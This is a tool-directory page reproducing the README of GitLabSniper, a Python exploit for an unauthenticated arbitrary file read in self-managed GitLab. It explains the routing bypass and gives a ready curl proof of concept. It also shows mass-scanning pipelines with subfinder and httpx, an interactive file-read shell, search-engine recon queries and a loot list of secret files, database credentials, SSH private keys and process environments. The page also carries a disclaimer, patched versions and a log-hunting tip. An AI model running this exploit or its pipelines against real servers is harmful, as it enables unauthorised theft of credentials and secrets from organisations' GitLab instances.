Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
GitLabSniper — Single-file Python scanner and exploit for CVE-2026-85706, an unauthenticated arbitrary file read in self-managed GitLab CE/EE, with project enumeration, loot paths, and an interactive shell. | Kitploit
Tools/GitHubGitHub/ynsmroztas/gitlabsniper
ReconnaissanceVulnerability ScannersExploitationScripting & AutomationWeb Application ExploitationData ExfiltrationInformation GatheringWeb SecurityPenetration Testing
GitHubynsmroztas/gitlabsniper

GitLabSniper

Single-file Python scanner and exploit for CVE-2026-85706, an unauthenticated arbitrary file read in self-managed GitLab CE/EE, with project enumeration, loot paths, and an interactive shell.

216h 56m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

GitLabSniper — CVE-2026-85706 unauthenticated file read pipeline

GitLabSniper

CVE-2026-85706 — GitLab CE/EE unauthenticated arbitrary file read
detect · public project enum · loot · interactive shell · subfinder/httpx pipeline


Author: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
Site: ynsmroztas.github.io
Mail: [email protected]

Use only on systems you own or are explicitly authorized to test (bug bounty / VDP / written contract).


What this is

GitLabSniper.py is a single-file Python scanner/exploit for CVE-2026-85706: an unauthenticated local file read in self-managed GitLab Community Edition and Enterprise Edition.

It does not stop at “version looks affected”. It fires the Workhorse parser-differential bypass, classifies the Rails response, and only prints FILE LEAK when the 400 body contains the file bytes inside invalid %-encoding (...).

BandVersions
Affected18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1
Patched19.1.8 / 19.2.6 / 19.3.2 (2026-09-10)
Not in scopegitlab.com · GitLab Dedicated

How the bug works

Three repository endpoints sit behind Workhorse requestBodyUploader:

  • POST /api/v4/projects/:id/repository/commits
  • POST /api/v4/projects/:id/repository/files/:file_path
  • PUT /api/v4/projects/:id/repository/files/:file_path

Rails takes the raw file.path field and runs File.open before authenticate!. require_gitlab_workhorse! is not a real gate here: Workhorse already stamps a valid Gitlab-Workhorse-Api-Request JWT on anything it proxies.

Workhorse was supposed to rewrite the upload first. Its route regex matches EscapedPath() and a path.Clean clone that never percent-decodes. Puma does decode %XX before Grape routing.

root@kitploit:~
Attacker
  POST /api/v4/projects/35/repository/%63ommits
  POST /api/v4/projects/35/repository/commits/          ← trailing slash also slips
       ?file=&file.path=/etc/passwd&file.size=1
       &Content-Type=application/x-www-form-urlencoded
        │
        ▼
Workhorse     regex sees "%63ommits" / "commits/"  → MISS  (no rewrite)
        │
        ▼
Puma          decodes %63 → commits                 → ROUTES to Rails
        │
        ▼
Rails         File.open(params[:file][:path])       → BEFORE auth
        │
        ▼
Rack          parse_nested_query(File.read(path))
              stray "%" that is not %HH
        │
        ▼
HTTP 400      Invalid parameter: invalid %-encoding (<raw file bytes>)

file= blank satisfies requires :file, WorkhorseFile (blank → nil). The leak channel is the urlencoded branch. JSON/Oj does not echo file bytes the same way — the tool always sends Content-Type=application/x-www-form-urlencoded.

//, /./, %2F and ; do not bypass: path.Clean normalizes the first two and Puma rejects %2F.

The project id is not “which repo to steal files from”. file.path is an absolute server path. The id is only the URL piece that reaches the vulnerable controller.

That is why the tool enumerates GET /api/v4/projects and skips gated ids.

Confirmed leak requires this substring in the body:

root@kitploit:~
invalid %-encoding (

Files with no lone % may still be opened (read-noecho / later branch is required) but will not echo. That is an oracle, not a reportable dump.


Features

  • GitLab fingerprint (HTML / x-gitlab-* / sign-in) + version range when visible
  • Public project enum (GET /api/v4/projects)
  • Automatic pick of a non-gated project id (fallback 1..7)
  • Workhorse bypass matrix
    • %63ommits · %72epository · %66iles
    • trailing / · .json
    • POST + PUT on files
  • Response classifier: leak · leak-fragment · read-noecho · missing · project-gate · rewrite ·

Install

root@kitploit:~
pip install requests
python3 GitLabSniper.py -h

Python 3.10+. No other deps.


Usage

Single host

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto

Interactive shell

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --shell
root@kitploit:~
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit

Pipeline (subfinder + httpx)

root@kitploit:~
subfinder -d example.com -silent \
  | httpx -silent -sc -td -title \
  | python3 GitLabSniper.py --pipe --auto -o hits.jsonl

subfinder -d example.com -silent \
  | httpx -silent -json \
  | python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl

# stdin is not a TTY → --pipe is implied
cat hosts.txt | python3 GitLabSniper.py --auto

Parser accepts:

  • https://gitlab.example.com
  • https://gitlab.example.com [200] [GitLab] [nginx]
  • httpx -json objects (url / status_code)
  • bare host and host:port
  • skips [0] / timeout / empty rows

Flags

Exit codes: 0 leak · 1 oracle-only / no leak in pipe · 2 no usable signal.


Verdicts

Do not file a critical based on read-noecho alone.


Default loot paths

root@kitploit:~
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ

Highest impact when they echo: secrets.yml, gitlab-secrets.json, database.yml (secret_key_base, otp_key_base, DB password).


Manual PoC (same request the tool emits)

root@kitploit:~
curl -sk -X POST \
  "https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"

Vulnerable instance returns JSON similar to:

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n  gitlab:\n    host: gitlab.example.com\n ... )"}

On some hosts %63ommits is 401 and /repository/commits/ (trailing slash) is the form that leaks. The tool walks every variant.


Recon helpers

root@kitploit:~
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"

Pair with subfinder | httpx | GitLabSniper.py --pipe --auto.


Disclaimer

This repository is for authorized security testing and defensive validation after patching. You are responsible for scope.

If you operate a self-managed GitLab box in the affected range: upgrade to 19.1.8 / 19.2.6 / 19.3.2 now. Hunt access logs for POST /api/v4/projects/*/repository/commits with a file.path query parameter.


Credits

Vulnerability reported by s3ntago via GitLab HackerOne.

Write-up and original PoC that this tool is built on:

https://github.com/guneykabel/cve-2026-85706

Thank you to guneykabel for publishing a clear classifier (leak / missing / project-gate / rewrite) and the Workhorse ↔ Puma differential explanation. GitLabSniper wraps that model with project enum, loot, shell and recon pipelines.

GitLab advisory / patches: CE/EE 19.1.8, 19.2.6, 19.3.2.


Author

Yunus Emre Öztaş · mitsec

  • X — x.com/ynsmroztas
  • GitHub — github.com/ynsmroztas
  • Web — ynsmroztas.github.io
  • Mail — [email protected]
Download Tool
EndpointProject requirement
files (%66iles)Any id often works — File.open is before project checks
commits (%63ommits, commits/, commits.json)Needs a project an anonymous user can read_code. Otherwise 404 Project Not Found
noroute
  • --auto loot list (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, ssh keys, environ)
  • Sticky working form after the first leak
  • Interactive shell (cat, loot, secrets, passwd, project <id>, curl)
  • Pipeline: raw hosts, httpx -sc -td -title, httpx -json, ANSI stripped
  • JSON / JSONL report (-o)
  • Colorized HIT banner + ready-to-paste curl PoC
  • FlagMeaning
    -u / -t / --targetSingle base URL
    --pipeRead targets from stdin
    -f / --listFile of hosts
    --fileOne absolute path to read
    --auto / --lootHigh-value GitLab file list
    --shellInteractive file-read shell
    --project-idForce project id (default: enum + fallback)
    --max-projectsCap enum/fallback ids (default 8)
    --forceScan even if fingerprint is weak
    --threadsPipeline workers (default 8)
    --timeoutSeconds (default 15)
    -ohits.json or hits.jsonl
    -qQuiet
    --no-bannerNo banner
    TagMeaningReport?
    leakinvalid %-encoding ( + file bytesYes — confirmed
    leak-fragmentPartial echoMaybe, attach body
    read-noecho401 / branch is required after open, no % in fileOracle only
    missinglocal file not present — bypass reached diskExistence oracle
    project-gate404 Project Not FoundTry another public id
    rewriteWorkhorse rewrote body (Invalid json)This form is dead
    noroutePlain 404Patched or wrong path
    other500 / leftoverDump body before claiming